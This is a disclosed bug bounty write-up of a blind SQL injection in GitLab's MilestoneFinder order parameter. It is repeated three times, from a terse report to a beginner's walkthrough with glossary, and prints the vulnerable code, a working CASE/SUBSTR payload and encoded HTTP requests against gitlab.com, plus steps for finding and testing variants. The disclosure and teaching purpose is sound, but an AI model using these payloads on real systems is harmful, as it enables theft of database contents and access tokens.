SQL injection in MilestoneFinder order method
The MilestoneFinder class passed the user-supplied 'order' parameter directly to ActiveRecord's reorder method without sanitisation, allowing SQL injection. An attacker could use a boolean-based blind SQL injection to extract arbitrary data from the database, including private tokens that could lead to privilege escalation and remote code execution.
- Triaged in 7 days
- Fixed in 7 days
- Paid in 4 days
- Disclosed after 4 months
The MilestoneFinder is a class used to find milestones based on group or project identifiers. The class is used in multiple controllers. It allows to filter based on state and can be used to order the result set. One of the uses can be found in the Groups::MilestonesController. When the index action is requested, the milestones method is called. Here's the first two lines of the method:
app/controllers/groups/milestones_controller.rb
def milestones
search_params = params.merge(group_ids: group.id)
milestones = MilestonesFinder.new(search_params).execute
# ...
This code takes all the parameters, merges the group found in the URL (that your account is authorized for) and calls the execute method. Here's the method:
app/finders/milestone_finder.rb
def execute
return Milestone.none if project_ids.empty? && group_ids.empty?
items = Milestone.all
items = by_groups_and_projects(items)
items = by_title(items)
items = by_state(items)
order(items)
end
The order call on the last line is implemented as following:
app/finders/milestone_finder.rb
def order(items)
if params.has_key?(:order)
items.reorder(params[:order])
else
order_statement = Gitlab::Database.nulls_last_order('due_date', 'ASC')
items.reorder(order_statement)
end
end
As can be seen on line 2 of the method, reorder is called without any form of sanitization. This leads to a SQL injection. To verify, create a new group on a GitLab instance. Then, create two milestones. To exploit this vulnerability a payload needs to be generated. To do so, start by sending a JSON request to the group milestones endpoint. Here's a request example:
Request
GET /groups/my-test-group/-/milestones HTTP/1.1
Host: gitlab.com
Accept: application/json
...
Response
[
{
"title": "3",
"name": "3",
"id": 429944
},
{
"title": "4",
"name": "4",
"id": 429943
}
]
Then, consider the following SQL injection payload:
(CASE SUBSTR((SELECT email FROM users WHERE username = 'jobertabma'), 1, 1) WHEN 'a' THEN (CASE id WHEN 429944 THEN 2 ELSE 1 END) ELSE 1 END)
This payload does three things: it fetches the email column from the users table where the username matches my own username. This can be any query that the attacker wants to execute on the database server. Then, it takes the first character of the email (the SUBSTR(<>, 1, 1) call) and compares that to a a. If that's the case, it'll compare the id of the current milestone to 429944. If that is true, it'll sort on column number 2. If that is not the case, it'll sort on column number 1. The order of both milestones in the response will reveal whether the first character of the email address matches the character a.
To prepare the payload, replace 429944 in the payload with a milestone ID of your account and URL encode it:
Encoded payload
%28CASE%20SUBSTR%28%28SELECT%20email%20FROM%20users%20WHERE%20username%20%3D%20%27jobertabma%27%29%2C%201%2C%201%29%20WHEN%20%27a%27%20THEN%20%28CASE%20id%20WHEN%20429944%20THEN%202%20ELSE%201%20END%29%20ELSE%201%20END%29
Now submit the first request:
Request 1 (a)
GET /groups/xxxaowudhaiwudhaiwudhb/-/milestones?state=open&&order=%28CASE%20SUBSTR%28%28SELECT%20email%20FROM%20users%20WHERE%20username%20%3D%20%27jobertabma%27%29%2C%201%2C%201%29%20WHEN%20%27a%27%20THEN%20%28CASE%20id%20WHEN%20429944%20THEN%202%20ELSE%201%20END%29%20ELSE%201%20END%29 HTTP/1.1
Host: gitlab.com
Accept: application/json
...
Response 1
HTTP/1.1 200 OK
Server: nginx
...
[{"title":"3","name":"3","id":429944},{"title":"4","name":"4","id":429943}]
In the response above the milestones are sorted descending based on the ID. The attacker can enumerate over all characters. When it would send a payload that checks for the letter j, the following behavior is observer:
Request 2 (j)
GET /groups/xxxaowudhaiwudhaiwudhb/-/milestones?state=open&&order=%28CASE%20SUBSTR%28%28SELECT%20email%20FROM%20users%20WHERE%20username%20%3D%20%27jobertabma%27%29%2C%201%2C%201%29%20WHEN%20%27j%27%20THEN%20%28CASE%20id%20WHEN%20429944%20THEN%202%20ELSE%201%20END%29%20ELSE%201%20END%29 HTTP/1.1
Host: gitlab.com
Accept: application/json
...
Response 2
HTTP/1.1 200 OK
Server: nginx
...
[{"title":"4","name":"4","id":429943},{"title":"3","name":"3","id":429944}]
Because the first character of my email is actually j, the result is now sorted by the title of the milestones. An attacker can enumerate over all characters of a column and observe the order. Once the order reverses it knows what the value of the character is. The index of the SUBSTR function can be changed to guess characters on other positions of the value.
This has been tested against GitLab 10.2.4 (the latest version, also used on gitlab.com).
Impact
An attacker can extract all information from the a GitLab instance's database, including private access and shell tokens. These can be used to elevate the user's privileges, which may lead to arbitrary code execution.
Context
GitLab exposes milestones on groups and projects. A milestone has a title, a state and a due date, and the milestones index page lets a user filter the list by state and choose how the result set is ordered. The report concerns the MilestoneFinder class, which is used to find milestones based on group or project identifiers and is called from multiple controllers. One of those callers is Groups::MilestonesController, which serves the group milestones index action.
The bug is a SQL injection in the ordering of the result set: the order parameter is passed to ActiveRecord's reorder without sanitisation, so an attacker can inject arbitrary SQL into the ORDER BY clause and read data from the database through the order in which rows come back.
Setup
To reproduce, the researcher created a new group on a GitLab instance and then created two milestones in it. The technique was tested against GitLab 10.2.4, described in the report as the latest version and the one used on gitlab.com. The requests in the report are sent to gitlab.com with Accept: application/json, and the group used in the exploitation requests is a throwaway group name.
Finding it
The starting point is the controller. When the index action is requested, the milestones method runs, and its first two lines are:
app/controllers/groups/milestones_controller.rb
def milestones
search_params = params.merge(group_ids: group.id)
milestones = MilestonesFinder.new(search_params).execute
# ...
This takes all the request parameters, merges in the group found in the URL (a group the account is authorised for) and calls execute. The finder's execute method builds the query:
app/finders/milestone_finder.rb
def execute
return Milestone.none if project_ids.empty? && group_ids.empty?
items = Milestone.all
items = by_groups_and_projects(items)
items = by_title(items)
items = by_state(items)
order(items)
end
The last line calls order, which is where the problem sits:
app/finders/milestone_finder.rb
def order(items)
if params.has_key?(:order)
items.reorder(params[:order])
else
order_statement = Gitlab::Database.nulls_last_order('due_date', 'ASC')
items.reorder(order_statement)
end
end
On line 2 of that method, reorder is called with params[:order] and no form of sanitisation. Because the value flows straight into the ORDER BY clause, the parameter is a SQL injection point.
Exploitation
Step 1: collect milestone IDs
With the group and two milestones created, the first step is to learn the IDs of the milestones, because the payload keys off them. A JSON request to the group milestones endpoint returns them:
Request
GET /groups/my-test-group/-/milestones HTTP/1.1
Host: gitlab.com
Accept: application/json
...
Response
[
{
"title": "3",
"name": "3",
"id": 429944
},
{
"title": "4",
"name": "4",
"id": 429943
}
]
The two milestones are titled 3 and 4, with IDs 429944 and 429943 respectively.
Step 2: build the payload
The researcher's payload is a conditional expression that changes the sort order depending on a database value:
(CASE SUBSTR((SELECT email FROM users WHERE username = 'jobertabma'), 1, 1) WHEN 'a' THEN (CASE id WHEN 429944 THEN 2 ELSE 1 END) ELSE 1 END)
It does three things. First, it fetches the email column from the users table for the row whose username matches the researcher's own username; in principle this can be any query the attacker wants to run on the database server. Second, it takes the first character of that email with SUBSTR(<>, 1, 1) and compares it to a. Third, if the character matches, it compares the current milestone's id to 429944: when that is true it sorts on column number 2, otherwise on column number 1. If the character does not match, everything sorts on column number 1. The relative order of the two milestones in the response therefore reveals whether the first character of the email is a.
To prepare the payload for use, replace 429944 with a milestone ID belonging to your own account and URL encode the whole expression:
Encoded payload
%28CASE%20SUBSTR%28%28SELECT%20email%20FROM%20users%20WHERE%20username%20%3D%20%27jobertabma%27%29%2C%201%2C%201%29%20WHEN%20%27a%27%20THEN%20%28CASE%20id%20WHEN%20429944%20THEN%202%20ELSE%201%20END%29%20ELSE%201%20END%29
Step 3: test a character that does not match
The encoded payload goes into the order parameter of the milestones endpoint, alongside state=open:
Request 1 (a)
GET /groups/xxxaowudhaiwudhaiwudhb/-/milestones?state=open&&order=%28CASE%20SUBSTR%28%28SELECT%20email%20FROM%20users%20WHERE%20username%20%3D%20%27jobertabma%27%29%2C%201%2C%201%29%20WHEN%20%27a%27%20THEN%20%28CASE%20id%20WHEN%20429944%20THEN%202%20ELSE%201%20END%29%20ELSE%201%20END%29 HTTP/1.1
Host: gitlab.com
Accept: application/json
...
Response 1
HTTP/1.1 200 OK
Server: nginx
...
[{"title":"3","name":"3","id":429944},{"title":"4","name":"4","id":429943}]
Here the milestones come back sorted descending by ID: 429944 first, then 429943. Since the first character of the email is not a, the outer CASE falls through to ELSE 1 and both rows sort on column 1.
Step 4: test the matching character
The attacker enumerates over all characters. When the payload checks for the letter j, the behaviour changes:
Request 2 (j)
GET /groups/xxxaowudhaiwudhaiwudhb/-/milestones?state=open&&order=%28CASE%20SUBSTR%28%28SELECT%20email%20FROM%20users%20WHERE%20username%20%3D%20%27jobertabma%27%29%2C%201%2C%201%29%20WHEN%20%27j%27%20THEN%20%28CASE%20id%20WHEN%20429944%20THEN%202%20ELSE%201%20END%29%20ELSE%201%20END%29 HTTP/1.1
Host: gitlab.com
Accept: application/json
...
Response 2
HTTP/1.1 200 OK
Server: nginx
...
[{"title":"4","name":"4","id":429943},{"title":"3","name":"3","id":429944}]
Because the first character of the researcher's email is actually j, the result is now sorted by the title of the milestones: 4 comes before 3. The order has reversed compared with the non-matching case.
Step 5: enumerate the rest of the value
By iterating over candidate characters and watching for the order to reverse, an attacker learns each character of the value. The index argument of SUBSTR can be changed to guess characters at other positions of the value, so the whole column can be extracted one character at a time.
Root cause
The finder passes a user-controlled parameter directly to reorder:
items.reorder(params[:order])
ActiveRecord's reorder accepts a raw SQL fragment for the ORDER BY clause, so whatever the client sends becomes part of the query. The controller merges all request parameters into the finder's search_params, which is how order reaches the finder in the first place. There is no allow-list of sortable columns and no escaping of the value, so the injection is direct.
Impact
An attacker can extract all information from a GitLab instance's database, including private access and shell tokens. Those can be used to elevate the user's privileges, which may lead to arbitrary code execution. The extraction is blind and conditional: the attacker learns values only through the order in which milestones are returned, one character per query.
Fix
The report does not describe the fix that was applied. The change needed is to stop passing the raw parameter to reorder: map the requested order onto a fixed set of known columns and directions, and reject or ignore anything else, so that only a controlled ORDER BY fragment ever reaches the database.
Variants to test
- Other callers of the same finder. The report notes that
MilestoneFinderis used in multiple controllers. Any endpoint that reaches the finder with anorderparameter is a candidate; a positive result is the same order reversal when a conditional payload is supplied. - Other sortable list endpoints. Look for parameters that select a sort column or direction and are passed to
reorder,orderor raw SQL. A positive result is a response whose row order changes according to aCASEexpression you control. - Different positions and values. Change the
SUBSTRindex and the compared character, or point the subquery at other columns and tables. A positive result is a reliable flip in ordering that tracks the guessed value.
Hunting notes
This kind of bug hides in features that let the user choose how a list is sorted. During recon, watch for order, sort and sort_by style parameters, especially on JSON endpoints where the response order is easy to compare. The signal is a parameter whose value looks like a column name or a direction and which visibly changes the order of results. To show impact, the researcher used a conditional expression keyed on his own email address and demonstrated that the response order flips when the guess is correct, which turns a blind injection into a working extraction primitive. The report states the technique was tested against GitLab 10.2.4, described as the latest version and the one used on gitlab.com.
What happened, in plain words
GitLab is a website where software teams keep their code and track work. One of its features is milestones: a milestone is a labelled checkpoint in a project or group, for example "Version 1.0 released". Each milestone has a title, a state (open or closed) and a due date. GitLab has a page that lists all milestones in a group, and on that page you can filter the list by state and choose how the list is sorted.
A security researcher found that the part of the page that decides the sorting order was taking instructions straight from the visitor and passing them to the database without checking them. That is called a SQL injection: the database speaks a language called SQL, and if a website lets a visitor slip extra SQL words into a query, the visitor can make the database do things the website never intended, such as reading other people's data.
In this case the researcher could not see the stolen data directly. Instead, he used the order in which the milestones appeared on the page as a yes/no signal. By asking the database "does the first letter of this person's email equal 'a'?" and watching whether the list came back in one order or the other, he could guess the email one character at a time. This is called a blind SQL injection, because you never see the data itself, only a side effect.
The report was tested against GitLab 10.2.4, which the report describes as the latest version and the one running on gitlab.com at the time.
Background you need first
A few ideas come up again and again below, so here they are from zero.
- Server and database. A website like GitLab runs on a server, a computer that answers requests from your browser. Behind it sits a database, a program that stores information in tables (think of a spreadsheet with rows and columns) and answers questions written in SQL. The
userstable, for example, holds one row per user, with columns such asusernameandemail. - Request and response. When you open a page, your browser sends a request to the server, and the server sends back a response. A request has a method (
GETmeans "give me something"), a path (which page), and sometimes extra values called parameters, written after a?in the address, like?state=open. - API and JSON. An API is a way for programs to talk to a website without the pretty page. If you ask for
Accept: application/json, the server replies with JSON, a plain text format for data: lists in square brackets, objects in curly braces, and"name": valuepairs. It is easy for a human to read and easy for a program to parse. - Parameter. A named value sent with a request. In
?state=open&order=title,stateandorderare parameters with the valuesopenandtitle. - URL encoding. Some characters are not allowed in a web address, so they are written as a percent sign plus two hex digits. A space becomes
%20, a single quote becomes%27, a left bracket becomes%28. The server decodes these back before using them. - SQL injection. A vulnerability where user input is glued into a database query as if it were part of the query's own instructions. The classic everyday comparison: a form that asks for your name, and someone writes "Bob, and also delete all the files" and the system treats the second half as a command rather than as part of the name.
ORDER BYand sorting. SQL has anORDER BYclause that tells the database in which order to return rows, for example by title or by ID. If an attacker can put their own SQL intoORDER BY, they can make the order depend on secret data.- Blind injection. When the attacker cannot see query results on the page, but can observe some side effect (here, the order of a list) that depends on the answer. It is like guessing a password by watching whether a door opens slightly differently, rather than reading the password.
Context: where the bug lives
GitLab shows milestones on group pages and project pages. The milestones index page lets a user filter by state and choose the sort order. The report is about a piece of code called MilestoneFinder, a class (a reusable block of code in the Ruby language) whose job is to find milestones belonging to a group or project. Several parts of GitLab use this class. One of them is Groups::MilestonesController, the code that serves the group milestones page.
The bug is in the sorting: the value of the order parameter is handed to a database helper called reorder without any cleaning, so an attacker can inject their own SQL into the ORDER BY part of the query and read data through the order in which rows come back.
Setup: what the researcher prepared
To reproduce the issue, the researcher created a new group on a GitLab instance and then created two milestones inside it. The technique was tested against GitLab 10.2.4, described in the report as the latest version and the one used on gitlab.com. The requests in the report go to gitlab.com with Accept: application/json, and the group name used in the exploitation requests is a throwaway one.
Finding it: reading the code
The starting point is the controller. When the index action is requested (that is, when someone opens the milestones list), the milestones method runs. Its first two lines are:
app/controllers/groups/milestones_controller.rb
def milestones
search_params = params.merge(group_ids: group.id)
milestones = MilestonesFinder.new(search_params).execute
# ...
Line by line:
def milestonesstarts the method, the block of code that runs for this page.search_params = params.merge(group_ids: group.id)takes all the parameters the visitor sent (params) and adds the ID of the group found in the URL (group.id). The group is one the account is authorised for, so the visitor cannot simply ask for someone else's group here. The result is stored insearch_params.MilestonesFinder.new(search_params).executecreates a new finder object, hands it those parameters, and calls itsexecutemethod, which does the actual searching.
The important detail is that every parameter the visitor sends is passed along, including order. Nothing filters out unexpected names.
The finder's execute method builds the query:
app/finders/milestone_finder.rb
def execute
return Milestone.none if project_ids.empty? && group_ids.empty?
items = Milestone.all
items = by_groups_and_projects(items)
items = by_title(items)
items = by_state(items)
order(items)
end
Line by line:
def executestarts the method.return Milestone.none if project_ids.empty? && group_ids.empty?is a safety check: if the request names neither a project nor a group, return an empty result immediately. This stops the code from listing every milestone on the site.items = Milestone.allstarts with all milestones.items = by_groups_and_projects(items)narrows that down to the group or project asked for.items = by_title(items)applies a title filter if one was given.items = by_state(items)applies the state filter (open or closed).order(items)is the last step, and it is where the problem sits.
The order method looks like this:
app/finders/milestone_finder.rb
def order(items)
if params.has_key?(:order)
items.reorder(params[:order])
else
order_statement = Gitlab::Database.nulls_last_order('due_date', 'ASC')
items.reorder(order_statement)
end
end
Line by line:
def order(items)starts the method, receiving the list of milestones found so far.if params.has_key?(:order)asks: did the visitor send anorderparameter?items.reorder(params[:order])is the dangerous line.reorderis a database helper that replaces the sorting of the query. It accepts a raw SQL fragment, and here it is given the visitor's value unchanged. Whatever the visitor writes becomes part of the query'sORDER BY.elsecovers the case where noorderwas sent.order_statement = Gitlab::Database.nulls_last_order('due_date', 'ASC')builds the default sort: by due date, ascending, with empty due dates last.items.reorder(order_statement)applies that safe, fixed default.endcloses the conditional and the method.
So on line 3 of the method, reorder is called with params[:order] and no form of sanitisation. Because the value flows straight into the ORDER BY clause, the parameter is a SQL injection point. There is no allow-list of sortable columns and no escaping.
Exploitation: step by step
Step 1: collect the milestone IDs
With the group and two milestones created, the first step is to learn the IDs of the milestones, because the payload keys off them. A JSON request to the group milestones endpoint returns them:
Request
GET /groups/my-test-group/-/milestones HTTP/1.1
Host: gitlab.com
Accept: application/json
...
Line by line:
GET /groups/my-test-group/-/milestones HTTP/1.1asks for the milestones list of the group calledmy-test-group, using version 1.1 of the HTTP protocol.Host: gitlab.comsays which website the request is for.Accept: application/jsonasks for the answer as JSON data rather than as a web page....stands for other headers the report leaves out.
Response
[
{
"title": "3",
"name": "3",
"id": 429944
},
{
"title": "4",
"name": "4",
"id": 429943
}
]
Line by line:
- The outer square brackets mean the answer is a list.
- The first object is a milestone with title
3, name3and ID429944. - The second object is a milestone with title
4, name4and ID429943.
The two milestones are titled 3 and 4, with IDs 429944 and 429943 respectively.
Step 2: build the payload
The researcher's payload is a conditional expression that changes the sort order depending on a database value:
(CASE SUBSTR((SELECT email FROM users WHERE username = 'jobertabma'), 1, 1) WHEN 'a' THEN (CASE id WHEN 429944 THEN 2 ELSE 1 END) ELSE 1 END)
This is SQL, the database language. Read it from the inside out:
SELECT email FROM users WHERE username = 'jobertabma'is a small query of its own, nested inside the bigger one. It fetches theemailcolumn from theuserstable for the row whoseusernamematches the researcher's own username. In principle this can be any query the attacker wants to run on the database server.SUBSTR(<>, 1, 1)takes that email and cuts out one character: starting at position 1, length 1. In other words, the first character.CASE ... WHEN 'a' THEN ... ELSE ... ENDis SQL's if-then-else. If the first character equalsa, do the first branch; otherwise do theELSEbranch.- The first branch is another
CASE:CASE id WHEN 429944 THEN 2 ELSE 1 END. If the current milestone'sidis429944, sort on column number 2; otherwise sort on column number 1. - The outer
ELSE 1means: if the character is nota, sort everything on column number 1.
So the payload does three things. First, it fetches the email for the researcher's own username. Second, it takes the first character of that email and compares it to a. Third, if the character matches, it compares the current milestone's id to 429944: when that is true it sorts on column number 2, otherwise on column number 1. If the character does not match, everything sorts on column number 1. The relative order of the two milestones in the response therefore reveals whether the first character of the email is a.
Why column numbers? In SQL, ORDER BY 1 means "sort by the first column of the result" and ORDER BY 2 means the second. By making different rows sort by different columns, the attacker makes the two milestones swap places depending on the answer.
To prepare the payload for use, replace 429944 with a milestone ID belonging to your own account and URL encode the whole expression:
Encoded payload
%28CASE%20SUBSTR%28%28SELECT%20email%20FROM%20users%20WHERE%20username%20%3D%20%27jobertabma%27%29%2C%201%2C%201%29%20WHEN%20%27a%27%20THEN%20%28CASE%20id%20WHEN%20429944%20THEN%202%20ELSE%201%20END%29%20ELSE%201%20END%29
Every space became %20, every bracket became %28 or %29, every comma became %2C, every single quote became %27, and the equals sign became %3D. The server turns these back into normal characters before the database sees them, so the meaning is unchanged; the encoding just makes the value safe to put in a web address.
Step 3: test a character that does not match
The encoded payload goes into the order parameter of the milestones endpoint, alongside state=open:
Request 1 (a)
GET /groups/xxxaowudhaiwudhaiwudhb/-/milestones?state=open&&order=%28CASE%20SUBSTR%28%28SELECT%20email%20FROM%20users%20WHERE%20username%20%3D%20%27jobertabma%27%29%2C%201%2C%201%29%20WHEN%20%27a%27%20THEN%20%28CASE%20id%20WHEN%20429944%20THEN%202%20ELSE%201%20END%29%20ELSE%201%20END%29 HTTP/1.1
Host: gitlab.com
Accept: application/json
...
Line by line:
- The path is the milestones list of the throwaway group
xxxaowudhaiwudhaiwudhb. state=openfilters to open milestones only, so the list is predictable.&&is just a separator; the second&is empty, which does no harm.order=carries the encoded payload, which the server decodes and passes toreorder.HostandAcceptare the same as before: ask gitlab.com for JSON.
Response 1
HTTP/1.1 200 OK
Server: nginx
...
[{"title":"3","name":"3","id":429944},{"title":"4","name":"4","id":429943}]
Line by line:
HTTP/1.1 200 OKmeans the request succeeded.Server: nginxnames the web server software that answered.- The body is the JSON list: milestone
3(ID429944) first, then milestone4(ID429943).
Here the milestones come back sorted descending by ID: 429944 first, then 429943. Since the first character of the email is not a, the outer CASE falls through to ELSE 1 and both rows sort on column 1. The order is the "no match" order, and the attacker notes it as the baseline.
Step 4: test the matching character
The attacker enumerates over all characters. When the payload checks for the letter j, the behaviour changes:
Request 2 (j)
GET /groups/xxxaowudhaiwudhaiwudhb/-/milestones?state=open&&order=%28CASE%20SUBSTR%28%28SELECT%20email%20FROM%20users%20WHERE%20username%20%3D%20%27jobertabma%27%29%2C%201%2C%201%29%20WHEN%20%27j%27%20THEN%20%28CASE%20id%20WHEN%20429944%20THEN%202%20ELSE%201%20END%29%20ELSE%201%20END%29 HTTP/1.1
Host: gitlab.com
Accept: application/json
...
This request is identical to the first except that the compared character is now j instead of a (encoded as %27j%27). Everything else, the group, the state filter, the milestone ID, stays the same, so any difference in the answer comes only from that one character.
Response 2
HTTP/1.1 200 OK
Server: nginx
...
[{"title":"4","name":"4","id":429943},{"title":"3","name":"3","id":429944}]
Line by line:
- The request again succeeded with
200 OK. - The list now has milestone
4(ID429943) first, then milestone3(ID429944).
Because the first character of the researcher's email is actually j, the result is now sorted by the title of the milestones: 4 comes before 3. The order has reversed compared with the non-matching case. That flip is the whole signal: same request, same account, same milestones, only the guessed character changed, and the list order changed with it.
Step 5: enumerate the rest of the value
By iterating over candidate characters and watching for the order to reverse, an attacker learns each character of the value. The index argument of SUBSTR can be changed to guess characters at other positions of the value, so the whole column can be extracted one character at a time. In practice this means many requests, each asking a yes/no question about one character, with the answer read from the order of two rows.
Root cause
The finder passes a user-controlled parameter directly to reorder:
items.reorder(params[:order])
ActiveRecord (the part of the Ruby framework that talks to the database) lets reorder accept a raw SQL fragment for the ORDER BY clause, so whatever the client sends becomes part of the query. The controller merges all request parameters into the finder's search_params, which is how order reaches the finder in the first place. There is no allow-list of sortable columns and no escaping of the value, so the injection is direct.
Impact
An attacker can extract all information from a GitLab instance's database, including private access and shell tokens. A token here is a secret string that acts like a password for a program: whoever holds it can act as that user or service without logging in. Those can be used to elevate the user's privileges, which may lead to arbitrary code execution, meaning running the attacker's own commands on the server. The extraction is blind and conditional: the attacker learns values only through the order in which milestones are returned, one character per query.
Fix
The report does not describe the fix that was applied. The change needed is to stop passing the raw parameter to reorder: map the requested order onto a fixed set of known columns and directions, and reject or ignore anything else, so that only a controlled ORDER BY fragment ever reaches the database. In everyday terms, instead of letting a visitor write the sorting instruction, give them a short menu of allowed choices and translate each choice into a fixed instruction yourself.
Variants to test
- Other callers of the same finder. The report notes that
MilestoneFinderis used in multiple controllers. Any endpoint that reaches the finder with anorderparameter is a candidate; a positive result is the same order reversal when a conditional payload is supplied. - Other sortable list endpoints. Look for parameters that select a sort column or direction and are passed to
reorder,orderor raw SQL. A positive result is a response whose row order changes according to aCASEexpression you control. - Different positions and values. Change the
SUBSTRindex and the compared character, or point the subquery at other columns and tables. A positive result is a reliable flip in ordering that tracks the guessed value.
Hunting notes
This kind of bug hides in features that let the user choose how a list is sorted. During recon (the early stage of looking around a target for weak spots), watch for order, sort and sort_by style parameters, especially on JSON endpoints where the response order is easy to compare. The signal is a parameter whose value looks like a column name or a direction and which visibly changes the order of results. To show impact, the researcher used a conditional expression keyed on his own email address and demonstrated that the response order flips when the guess is correct, which turns a blind injection into a working extraction primitive. The report states the technique was tested against GitLab 10.2.4, described as the latest version and the one used on gitlab.com.
Glossary
- API: a way for programs to exchange data with a website, usually returning structured text such as JSON instead of a web page.
- ActiveRecord: the part of the Ruby on Rails framework that translates Ruby code into database queries.
- Blind SQL injection: a SQL injection where the attacker cannot see the query results directly and learns data only from a side effect, such as the order of a list.
- Class: a reusable block of code in an object-oriented language such as Ruby.
- Controller: the part of a web application that receives a request and decides what to do with it.
- Database: a program that stores data in tables and answers questions written in SQL.
- Encoded payload: a payload rewritten with percent codes so it can travel safely inside a web address.
- Finder: in this codebase, a class whose job is to look up records in the database.
- GET: the HTTP method used to ask a server for something, such as a page or a list.
- Header: an extra line in a request or response carrying information such as the host name or the accepted format.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- JSON: a plain text data format using lists in square brackets and objects in curly braces with
"name": valuepairs. - Milestone: a labelled checkpoint in a GitLab group or project, with a title, a state and a due date.
- ORDER BY: the SQL clause that decides the order in which rows are returned.
- Parameter: a named value sent with a request, such as
state=openororder=title. - Payload: the crafted input an attacker sends to trigger a vulnerability.
- Privilege escalation: gaining more permissions on a system than the account should have.
- Recon: the early stage of exploring a target to find weak spots.
- Request / response: the message your browser sends to a server, and the message the server sends back.
reorder: a database helper that replaces the sorting of a query and, in this case, accepts a raw SQL fragment.- Sanitisation: cleaning or validating user input so it cannot change the meaning of a query.
- Shell token: a secret string that lets a program act as a user or service without logging in.
- SQL: the language used to ask questions of a database.
- SQL injection: a vulnerability where user input becomes part of a database query's instructions, letting the attacker run their own SQL.
SUBSTR: a SQL function that cuts a piece out of a string, given a start position and a length.- Token: a secret string used in place of a password by software.
- URL encoding: writing characters that are not allowed in a web address as a percent sign plus two hex digits, such as
%20for a space. - Vulnerability: a weakness in software that an attacker can use to make it behave in unintended ways.